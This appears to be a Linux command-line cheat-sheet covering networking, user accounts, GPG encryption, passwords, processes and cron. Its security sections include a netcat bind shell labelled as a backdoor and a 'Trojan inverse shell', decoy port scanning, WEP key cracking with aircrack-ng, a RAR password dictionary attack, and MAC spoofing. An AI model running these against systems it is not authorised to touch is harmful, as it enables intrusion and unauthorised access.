>> sudo restart network-manager
ANALYSING THE NETWORK ....
* make an alias (command) to ping a yahoo server without any dns
>> alias testnet='ping 69.147.114.224'
##(this can determine if the problem is dns or tcpip)
* Router discovery
>> sudo arp-scan 192.168.1.0/24 -interface eth0
* Show all machines on the network
>> nmap 192.168.0-1.0-255 -sP
* Localize provenance of current established connections
>> for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
* List the number and type of active network connections
>> netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
SNIFFING NETWORK TRAFFIC
* Remotely sniff traffic and pass to snort
>> ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
TCPIP PORTS ....
* List all TCP opened ports on localhost in LISTEN mode
>> netstat -nptl
* which program is this port belongs to ?
>> lsof -i tcp:80
* list all opened ports on host
>> nmap -p 1-65535 --open localhost
* list all opened ports on host
>> sudo lsof -P -i -n -sTCP:LISTEN
* Show apps that use internet connection at the moment.
>> netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
* Port Knocking!
>> knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
* Show apps that use internet connection at the moment.
>> ss -p
* netcat as a portscanner
>> nc -v -n -z -w 1 127.0.0.1 22-1000
IP ADDRESSES ....
* Get My Public IP Address
>> wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
* What is my ip?
>> curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
* What is my ip? (hardened)
>> curl --connect-timeout 3 http://www.whatismyip.org/
* geoip information
>> GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
* Get My Public IP Address
>> curl -s http://whatismyip.org/
* display ip address
>> curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
* Filter IPs out of files
>> egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
DHCP DYNAMIC HOST CONTROL PROTOCOL ....
== tools
.. dhclient - sets up a dhcp client from the command line
..
* get IPs with a DHCP lease
>> egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'
* randomize hostname and mac address, force dhcp renew. (for
>> dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
PING ....
* ping a range of IP addresses
>> nmap -sP 192.168.1.100-254
* ping a host until it responds, then play a sound, then exit
>> beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
IFCONFIG ....
@@ http://linuxhelp.blogspot.com/2006/11/ifconfig-dissected-and-demystified.html
how to use ifconfig
* setup ethernet network device specifying an ip address
>> ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 up
PROXY SERVERS ....
* Create a single-use TCP proxy with debug output to stderr
>> socat -v tcp4-l:<port> tcp4:<host>:<port>
* Create a single-use TCP (or UDP) proxy
>> nc -l -p 2000 -c "nc example.org 3000"
MAC ADDRESSES ....
A 'mac' address is a unique number associated with a given
network interface on a computer. A network interface is a wireless card,
ethernet card, modem, etc. No 2 network devices in the world have
the same mac address, or at least shouldnt.
@@ http://linuxhelp.blogspot.com/2005/09/how-to-change-mac-address-of-your.html
how to change ('spoof') the mac address for a given network device
on the local computer.
@@ deb: macchanger
a package to change the mac address for a given network
interface. this may not work with all wireless cards.
* Determine MAC address of remote host when you know its IP address
>> arping 192.168.1.2
* Insert a colon between every two digits
>> sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
* find the mac address of all active network interfaces (wireless, ethernet ...)
>> ifconfig -a | grep HWaddr
* show the mac address to ip table for the local computer
>> arp
* Resets your MAC to a random MAC address to make you harder to
>> ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
* change or 'spoof' the mac address of the ethernet network device
------------------------------------------------------------------
ifconfig eth0 down
ifconfig eth0 hw ether 00:80:48:BA:d1:30
ifconfig eth0 up
ifconfig eth0 | grep HWaddr
,,,
* change the mac address for the wireless card 'wlan0' to the specified
>> macchanger --mac 00:00:13:37:00:00 wlan0
##(this only works if the wireless card driver supports the operation)
MONITORING NETWORK BANDWIDTH ....
* watch data usage on eth0
>> watch ifconfig eth0
* monitor bandwith and data transfer
>> iptables, bmon, vnstat, ntop, bwm-ng, iftop, iptraf, darkstat, mrtg ...
* output bmon data as html
>> bmon -O html:path=/home/var/www/html/data/bmon
* create a new database with data about the eth0 (ethernet interface)
>> vnstat -u -i eth0
* store data about the 'ppp0' interface (a modem, or wireless usb dongle) etc
>> sudo vnstat -u -i ppp0
* show an ascii graph of data transfer by the hour
>> vnstat -h
* look for the number of RX bytes and TX bytes of the active interface
>> ifconfig
NETWORK CONFIGURATION ....
udp uses no acknowledgement
used by: tftp (trivial file transfer protocol)
, snmp (simple network manage protocol), dhcp, dns
uses port numbers
uses ip
the only improvement on ip are port numbers
* tcpdump, ethereal to see network traffic
* monitor the ethernet network traffic
>> while :; do netstat -in | grep ath0 ; sleep 1 ; done
* show network interfaces
>> ip link show
>> netstat -in
* list the routing table
>> ip route show
* configure a network connection via dhcp
>> dhclient
WIRELESS NETWORKS ....
== tools
.. iwlist - show available wlans
.. iwgetid - shows interfaces
.. iwpriv
.. iwspy - show other lan clients
.. iwevent - monitor wlans
.. dhclient - set up dhcp clients
..
* connect to a network called 'beach cafe'
>> iwconfig etho essid "beach cafe"
* connect to the 'uconnect' network
>> iwconfig eth0 essid uconnect
* connect with a wep key
>> iwconfig eth0 essid uconnect key s:Password
>> iwconfig eth0 essid uconnect key 1fa24 ##(hex notation)
* get a dhcp ip address from the network
>> dhclient ##(run this after 'iwconfig')
* show the mac address of the access point
>> iwgetid -ap
* show available encryption algorithms
>> iwlist encryption
* show transmitter power
>> iwlist power
* show the status of the wireless interface eth1
>> iwconfig eth1
If an ESSID:"name" appears then connected
* show information about available wireless networks in range
>> iwlist scan
* view all networks reachable from the ra0 interface (wireless card)
>> iwlist ra0 scan
* very mysterious
>> iwpriv ??
WIRELESS SECURITY ....
@@ http://www.aircrack-ng.org
The official site
== wireless security auditing programs
.. aircrack-ng, obtain wireless network passwords
.. kismet, see wireless networks in range and clients
..
* sniff wireless traffic using the 'ra0' interface
>> sudo airodump-ng ra0
* Put the wireless card into monitor mode
>> airmon-ng start <interface> <channel>
* capture wireless packets on channel 11 from the given mac address
>> airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump rausb0
##(the captured packets get written to a file prefixed 'dump')
##(>40000 packets should be captured in order to crack the key)
* attempt to crack the wep key using captured data in 'dump-01.cap'
>> aircrack-ng -b 00:01:02:03:04:05 dump-01.cap
* use several captured data packet files using a wildcard
>> aircrack-ng -b 00:01:02:03:04:05 dump*.cap
* test if the 'ra0' wireless card supports 'injection'
>> aireplay-ng -9 ra0 ##(or run with sudo)
##(injection is required for speeding up wireless attacks)
USER AND GROUP ACCOUNTS
Unix style operating systems use user and group accounts to attempt to
control access to files, folders and other resources. The super-user on a
unix-style operating system is called the 'root' user
USERS ....
* find out who you logged onto the machine as
>> who am i
* find out what users are logged onto the system
>> who
* display which user is running a process from a given port name
>> fuser -nu tcp 3691
* list what rights you will have after a 'sudo' command
>> sudo -l
* quickly add user accounts to the system and force a password
>> for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
* Add existing user to a group
>> usermod -a -G groupname username
* list files not owned by any user or group
>> find / -nouser -o -nogroup -print
* list your group memberships
>> groups
##(prints 'steward galley crew')
* list the group memberships of user blackbeard
>> groups blackbeard
* output a list of the members of the galley group
>> members galley
* change the group ownership of file 'cruise' to bridge
>> chgrp bridge cruise
* give group ownership of the 'maps' directory and all the files it contains to the bridge group
>> chgrp -R bridge maps
* write-protect the file 'cruise' so that no other users can change it
>> chmod go-w cruise
* make the file 'cruise' private from all users but yourself
>> chmod go= cruise
* make the file 'cruise' both world readable and world writable
>> chmod a+rw cruise
* give execute permission to all users for the file 'myscript'
>> chmod a+x myscript
* Get a quick list of all user and group owners of files and dirs
>> find -printf '%u %g\n' | sort | uniq
Packages
@@ deb: acct
show information about users
@@ deb: quota
allows the administrator to place disk quotas on
users account
* Remove executable bit from all files in the current directory
>> find . ! -type d -exec chmod -x {}\;
* Switch to a user with "nologin" shell
>> sudo -u username bash
* Recursive chmod all files and directories within the current folder
>> chmod -R 774 .
* Create a listing of all possible permissions and their octal
>> touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
* show all user accounts on the local computer
>> cat /etc/passwd
>> cat /etc/passwd | grep /home ##(shows only non-application users)
* List all groups and the user names that were in each group
>> for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
* add a new user account
>> adduser
* add a new group account
>> addgroup
* change ownership of a file to another user
>> chown
* change the group ownership of a file or files
>> chgrp
* print what groups a user belongs to
>> groups
* change the password for the 'mjb' user account
>> passwd mjb
* find all files on the computer owned by the 'bob' user
>> find / -user bob -ls
FILE PERMISSIONS ....
* give any files that don't already have it group read permission
>> find . -type f ! -perm /g=r -exec chmod g+r {} +
* remove executable bit from all files in the current directory
>> chmod -R -x+X *
* recursively reset file or folder permissions
>> find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
* Change the ownership of all files owned by one user.
>> find /home -uid 1056 -exec chown 2056 {} \;
* create directory and set owner/group/mode in one shot
>> install -o user -g group -m 0700 -d /path/to/newdir
SECURITY
* Unix security checker
>> tiger
NET SECURITY ....
* find running binary executables that were installed irregularly
>> cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
* Scan Network for Rogue APs.
>> nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
* Create a backdoor on a machine to allow remote connection to bash
>> nc -vv -l -p 1234 -e /bin/bash
* Find brute force attempts on SSHd
>> cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
* Use a decoy while scanning ports to avoid getting caught by the
>> sudo nmap -sS 192.168.0.10 -D 192.168.0.2
* Conficker Detection with NMAP
>> nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
* Find files with root setuids settings
>> sudo find / -user root -perm -4000 -print
* Trojan inverse shell
>> nc -l -p 2000 -e /bin/bash
* Check for login failures and summarize
>> zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
* Block known dirty hosts from reaching your machine
>> wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
* retrieve top ip threats from http://isc.sans.org/sources.html
>> curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip="
* Locking and unlocking files and mailboxes
>> lockfile
* Add a line for your username in the /etc/sudoers file
>> echo 'loginname ALL=(ALL) ALL' >> /etc/sudoers
SHREDDING ....
Shredding data means deleting data in a way that makes that
data not recoverable, by analogy with the process of
shredding a document.
* Securely destroy data (including whole hard disks)
>> shred targetfile
* securely overwrite a file with random junk, rename it to clear
>> shred -vzu /tmp/junk-file-to-be-shredded
* Shred an complete disk, by overwritting its content 10 times
>> sudo shred -zn10 /dev/sda
* Securely destroy data on given device
>> # for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done
FIREWALLS ....
* Redirect incoming traffic to SSH, from a port of your choosing
>> iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
* Tired of switching between proxy and no proxy? here's the solution
>> iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
* Save iptables firewall info
>> sudo iptables-save > /etc/iptables.up.rules
* Remove an IP address ban that has been errantly blacklisted by
>> denyhosts-remove $IP_ADDRESS
* watch iptables counters
>> watch 'iptables -vL'
* Block all IP addresses and domains that have attempted brute
>> (bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
PRIVACY
@@ bleachbit
eliminate all sorts of caches, for the sake of privacy
@@ gpa
a graphical user interface to 'gpg'
@@ seahorse
the gnome graphical front-end for gpg
@@ kgpg
the kde front end
@@ firegpg
use gpg with webmail in firefox
@@ psi
use gpg with jabber xmpp im clients
@@ enigmail
integrate gpg with thunderbird email client
== the 2 keys
.. your public - other people use it to send you stuff
.. your private - decrypt things sent to you
.. other persons public - you use it to send things to them
.. other person private - they use it to decrypt things sent to them
* see if gpg is installed
>> which gpg
>> which gpg2 ##(the newer version)
* make a public key for somebody to send you stuff
>> gpg --gen-key
>> input name and email address
The new key gets put on a key-ring
* see what keys are on your keyring (like the one you just made)
>> gpg --list-keys
* show the fingerprint for a key
>> gpg --fingerprint
'fingerprints' are used to make sure that the public key for
somebody really is from them.
* export the key with the given id to a file 'key.asc' and send to people
>> gpg --armor --export 86d68542 --output key.asc
* send the public key with given id to the mit 'public key server'
>> gpg --keyserver=x-hkp://pgp.mit.edu --send-keys 86d68542
or use the web interface at http://pgp.mit.edu to submit a public key
paste the '.asc' file created before with --armor
* import a key file containing somebodies public key
>> gpg --import key.asc
Then you use this key to encrypt things which you are going to
send to them.
* search the 'mit' public key server for a public key belonging to Ben stewart
>> gpg --keyserver=x-hkp://pgp.mit.edu --search-keys Ben Stewart
Then enter a number corresponding to the desired user to enter that
key into your keyring
KEYRING ....
* private keys normally stored in
>> /home/user/.gnupg/pubring.pgp
* public keys stored in
>> /home/user/.gnupg/secring.pgp
SIGNING KEYS ....
In order to verify that a public key really is from somebody, signing
is used. The more genuine people sign a key as authentic the more likely
it is that it will be authentic
* sign the public key for 'bob'
>> pgp --edit-key bob@stew.net
Then send this signed key to the public key server with the same command
as before.
* list who has signed the public key for 'bob stewart'
>> gpg --list-sigs bob@stew.net
ENCRYPTING ....
* encrypt 'file.pdf' for sending to user bob@stew.net (using his public key)
>> gpg --encrypt --recipient 'bob@stew.net' file.pdf
creates a file 'file.pdf.gpg' which is encrypted
* encrypt a file for yourself (just use your own public key to encrypt it)
>> gpg --encrypt --recipient 'me@here.net' file.pdf
DECRYPTING ....
* decrypt a file sent to you (uses your private key)
>> gpg --output f.txt --decrypt f.txt.asc
this prompts for your keyring passphrase
* create a file 'leaks.txt.asc' which is signed as being from you but not encrypted
>> gpg --clearsign leaks.txt
* verify that a 'signed' file is from the person who it says it is
>> gpg --verify leaks.txt
* create a revocation certificate which is useful if you forget a password
>> gpg --gen-revoke 8657698
Send the revocation certificate to the public key server if you forget
a password for a key
ENCRYPTION
== encryption tools
.. password gorilla - a graphical cross-platform encryption tool
.. gpg -
.. gpg2 -
.. cccrypt -
.. mcrypt - replacement for crypt, unrecommends itself
..
* Quickly generate an MD5 hash for a text string using OpenSSL
>> echo -n 'text to be encrypted' | openssl md5
* gpg decrypt several files
>> gpg --allow-multiple-messages --decrypt-files *
* Safely store your gpg key passphrase.
>> pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')"
* quickly encrypt a file with gnupg and email it with mailx
>> cat file.txt | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
* Mount a truecrypt drive from a file from the command line
>> su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"
* Create/open/use encrypted directory
>> encfs ~/.crypt ~/crypt
* Encrypted archive with openssl and tar
>> tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
* Encrypted archive with openssl and tar
>> openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
* rot13 simple substitution cipher via command line
>> alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
* Cracking a password protected .rar file
>> for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
MD5 SUMS ....
* Create md5sum of files under the current dir excluding some
>> find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
* recursively md5 all files in a tree
>> find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
* Verify MD5SUMS but only print failures
>> md5sum --check MD5SUMS | grep -v ": OK"
GPG ....
gpg stands for gnu pretty good privacy, more or less.
* Receive, sign and send GPG key id
>> caff <keyid>
* import gpg key from the web
>> curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
* gpg decrypt a file
>> gpg --output foo.txt --decrypt foo.txt.pgp
* add a gpg key to aptitute package manager in a ubuntu system
>> wget -q http://xyz.gpg -O- | sudo apt-key add -
* encrypt the file 'log.txt'
>> gpg -c log.txt
* gpg encrypt a file
>> gpg --encrypt --recipient 'Foo Bar' foo.txt
* decrypt file
>> gpg log.txt
* encrypts or decrypts files in a specific directory
>> for a in path/* ; do ccenrypt -K <password> $a; done
PASSWORDS ....
* Use md5 to generate a pretty hard to crack password
>> echo "A great password" | md5sum
* Generate a random password 30 characters long
>> strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
* Hiding password while reading it from keyboard
>> save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
* generate a unique and secure password for every website that you
>> sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
RECOVERING PASSWORDS ....
* password recovery on debian
>> init=/bin/bash; mount -o remount,rw /
GENERATING PASSWORDS ....
* generate random password
>> pwgen -Bs 10 1
* Password Generation
>> pwgen --alt-phonics --capitalize 9 10
* a homemade password generator
>> genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
* Generate Random Passwords
>> dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16
* generate random password
>> openssl rand -base64 6
* Generate 10 pronunciable passwords
>> apg -a 0 -n 10
* password generator
>> genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; }
* generate random password
>> tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10
* Creates a random password from /dev/urandom [0-9A-za-z]
>> head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e 's/=.*$//g'
CHANGING PASSWORDS ....
* force change password for all users
>> for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done
SERVICES
'services' are a special type of process which are generally
always running and are often started when the computer starts up.
Examples of services are a web-server, an ftp server ...
@@ debian: sysvconfig
allows a user to use the redhat-style 'service' command
* show what services are available on the computer
>> ls /etc/init.d
* start or stop a service on a debian-style linux
>> sudo /etc/init.d/servicename start|stop
* restart the 'sshd' (secure shell) service
>> sudo /etc/init.d/sshd restart
* another way
>> update-rc.d ... invoke-rc.d
* stop the 'apache' service (with the sysvconfig package, or on redhat style)
>> sudo service apache stop
* other tools: rcconf, update-rc.d
STARTING SERVICES AT COMPUTER START UP ....
Linux has a concept of 'run-levels' which are stages the
computer reaches as it boots up, and as it shuts down. The higher the
level the more 'booted-up' is. One can configure a server to start
at any particular 'run-level'.
* configure apache to start up when the computer starts
>> update-rc.d apache2 defaults ##(this is debian-specific)
>> update-rc.d apache2 start 20 2 3 4 5 . stop 80 0 1 6 . ##(the same)
* disable the apache webserver from starting when the computer starts
>> update-rc.d -f apache2 remove
* create automatic startup links manually (this is the older way)
>> cd /etc/rc5.d/
>> ln -s /etc/init.d/apache2 S20apache2
# when the computer enters run-level 5 (rc5.d) is will start (S) the
# 'apache2' service with a priority of '20', that is, before all other
# services which have a priority number greater than 20
PIPES
The unix pipeline is possibly the most important concept
in the unix world
* cat large file to clipboard with speed-o-meter
>> pv large.xml | xclip
PROCESSES
* Kill a process with its name
>> pkill $1
* Kill a background job
>> kill %1
* Kills a process that is locking a file.
>> fuser -k filename
* Close shell keeping all subprocess running
>> disown -a && exit
* Processes by CPU usage
>> ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
Processes are essentially running programs (applications, software).
Some applications, when they run, are visible because they use
a 'window' or they display information or data on the command-line.
However other processes are 'invisible'; that is, they are running, but
you as the user doesnt see any visible activity.
== process viewing tools
.. top - views processes in real time
.. lsof -
.. ps -
.. pmap -
* ionice limits process I/O, to keep it from swamping the system
>> ionice -c3 find /
* Sort all running processes by their memory & CPU usage
>> ps aux --sort=%mem,%cpu
* Kill all processes that don't belong to root/force logoff
>> for i in $(pgrep -v -u root);do kill -9 $i;done
* Find out current working directory of a process
>> echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
* Check if a process is running
>> kill -0 [pid]
* Determining the excat memory usages by certain PID
>> pmap -d [pid]
VIEWING PROCESSES ....
* Alias for displaying a process tree nicely
>> alias pst='pstree -Alpha'
* show all processes in a 'tree' format (parent and child processes linked)
>> pstree
* Displays process tree of all running processes
>> pstree -Gap
* Show a 4-way scrollable process tree with full details.
>> ps awwfux | less -S
* show running processes ordered by the amount of CPU usage
>> ps -eo pcpu,pid,args | sort -n
* show all processes
>> ps -ef
* show process numbers for the root user
>> pgrep -u root
KILLING PROCESSES ....
In order to stop a running program (which doesnt have a window) it
is necessary to 'kill' (or stop) the associated process. In order
to do this first it may be necessary to find out the process
identification number ('pid') of the running application.
* find out the 'pid' number of a process associated with 'lighttpd'
>> ps aux | grep lighttpd ##(you can use only part of the name)
* show the process id of a running program
>> pidof lighttpd ##(you have to know the exact name of the program)
* stop the 'apt-get' program
>> killall -9 apt-get ##(with killall the 'pid' number is not necessary)
* Kill all processes belonging to a user
>> ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
* Kill all processes beloging to a single user.
>> kill -9 `ps -u <username> -o "pid="`
* Show top running processes by the number of open filehandles they
>> lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
* Kill most recently created process.
>> pkill -n firefox
* Return threads count of a process
>> ps -o thcount -p <process id>
* List all process running a specfic port
>> sudo lsof -i :<port>
* kill all processes using a directory/file/etc
>> lsof|grep /somemount/| awk '{print $2}'|xargs kill
* Show the 20 most CPU/Memory hungry processes
>> ps aux | sort +2n | tail -20
* count processes with status "D" uninterruptible sleep
>> top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
* Find the processes that are on the runqueue. Processes with a
>> ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
* Pulls total current memory usage, including SWAP being used, by
>> ps aux | awk '{sum+=$6} END {print sum/1024}'
* stop a program or process
>> kill $(ps -ef | awk '/sshd/ { print $2 }')
>> kill $(ps -ef | grep sshd | awk '{ print $2 }') ##(the same)
* Restart command if it dies.
>> ps -C program_name || { program_name & }
* Catch a proccess from a user and strace it.
>> x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
* trace the system calls made by a process (and its children)
>> strace -f -s 512 -v ls -l
ZOMBIE PROCESSES ....
* display all 'zombie' processese
>> ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z
* Get a regular updated list of zombies
>> watch "ps auxw | grep [d]efunct"
* Get a regular updated list of zombies
>> watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
ENVIRONMENT CONFIGURATIONS
------------------------------------------------------------
* show the values of the environment variables
>> env
>> printenv
* Executes a command changing an environment variable 'var'
>> var="value" command
ALIASES ....
* put aliases in the ~/.bashrc file to save them
>> alias dir='ls -la | less'
* Make alias pemanent fast
>> PERMA () { echo "$@" >> ~/.bashrc; }
* a variable can be used in an alias
>> alias say='echo $1' ##(but alias say='echo $1; echo 1' doesnt work...)
* reload the .bashrc file to make a new alias take effect
>> source ~/.bashrc
* add a folder to the executable path (put in ~/.bash_profile file to save it)
>> export PATH=/path/to/folder:"${PATH}"
##(programs in this folder can then be executed with 'programname')
* make all terminals write to the same history file
>> shopt -s histappend ##(put in .bashrc, on single user systems)
* enable changing to a folder by typing only the folder name (not path)
>> export CDPATH='.:~:/some/folder:/path/to/folder'
##(place this in .bashrc with commonly used folders)
TIMING PERFORMANCE
* time how long a "grep" command takes to execute
>> time grep -rl big *
* time the execution time of 2 commands at the same time
>> time { find / -name '*what*'; locate '*.cc' ; }
SCHEDULING
== tools
.. batch -
.. cron - a scheduling tools
.. crontab - a file of scheduled tasks
.. at - run a command at a certain time
.. nice - run with a certain priority
..
* Download schedule
>> echo 'wget url' | at 12:00
* Run the script 'upload.sh' every 15 mins past the hour
>> */15 * * * * /usr/local/bin/upload.sh ##(put in the cron file)
* Schedule a script or command in x num hours, silently run
>> ( ( sleep 2h; your-command your-args ) & )
* view the help page for the crontab file
>> man 5 crontab
* Execute a command at a given time
>> echo "ls -l" | at midnight
* Run a command only when load average is below a certain threshold
>> echo "rm -rf /unwanted-but-large/folder" | batch
CRON ....
* Update your system every day at the lunch time (12:00)
>> (crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)
* Edit Crontab
>> crontab -e
* Edit Crontab
>> vi ~/.crontab && crontab ~/.crontab
* Log output from a cronjob to a file, but also e-mail if a string
>> some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR
* print crontab entries for all the users that actually have a file
>> for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
NOTIFICATIONS ....
* Set an alarm to wake up [2]
>> echo "aplay path/to/song" |at [time]
* Set an alarm to wake up
>> sleep 5h && rhythmbox path/to/song
* beep when a server goes offline
>> while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
* Remind yourself to leave in 15 minutes
>> leave +15
* An alarm clock using xmms2 and at
>> echo "xmms2 play" | at 6:00
* Send pop-up notifications on Gnome
>> notify-send ["<title>"] "<body>"
* Will email user@example.com when all Rsync processes have
>> $(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user@example.com) > /dev/null &
* Run a long job and notify me when it's finished
>> ./my-really-long-job.sh && notify-send "Job finished"
* Set audible alarm when an IP address comes online
>> ping -i 60 -a IP_address
* Notify me when users log in
>> notifyme -C `cat /etc/passwd | cut -d: -f1`
* display a (gtk) window with the text 'command finished'
>> zenity --info --text="command finished!"
ALARMS
* A snooze button for xmms2 alarm clock
>> xmms2 pause && echo "xmms2 play" | at now +5min
* An alarm clock using xmms2 and at
>> at 6:00 <<< "xmms2 play"
DATABASES
== popular database software
.. postgresql -
.. mysql -
.. berkeley db -
..
see the book:
'http://bumble.sf.net/books/linux-database/linux-database-book.txt'
CONFIGURING LINUX
== tools
.. update-alternatives - maintains default programs for tasks
.. getent - gets data from an adminstrative database
..
* Get contents from hosts, passwd, groups
>> getent [group|hosts|networks|passwd|protocols|services] [keyword]
* set the default pager used for man pages
>> update-alternatives --set pager /usr/bin/most
Environment variables etc
* show the current path
>> echo $PATH
THE OPERATING SYSTEM
* Find distro name and/or version/release
>> cat /etc/*-release
* When was your OS installed?
>> ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
KERNEL ....
* send kernel log (dmesg) notifications to root via cron
>> (crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
* Short Information about loaded kernel modules
>> awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
* Short Information about loaded kernel modules
>> modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
* find your release version of your ubuntu / debian distro
>> lsb_release -a
* When was your OS installed?
>> ls -ldct /lost+found |awk '{print $6, $7}'
MODULES ....
Modules in some cases serve the purpose of device drivers. In some
cases they need to be compiled from source code, and then installed
in the kernel with 'modprobe'.
* Disable beep sound from your computer
>> echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
SWAP FILES ....
* create an emergency swapfile when the existing swap space is too small
>> sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
HARDWARE CONFIGURATION
------------------------------------------------------------
* set your ssd disk as a non-rotating medium
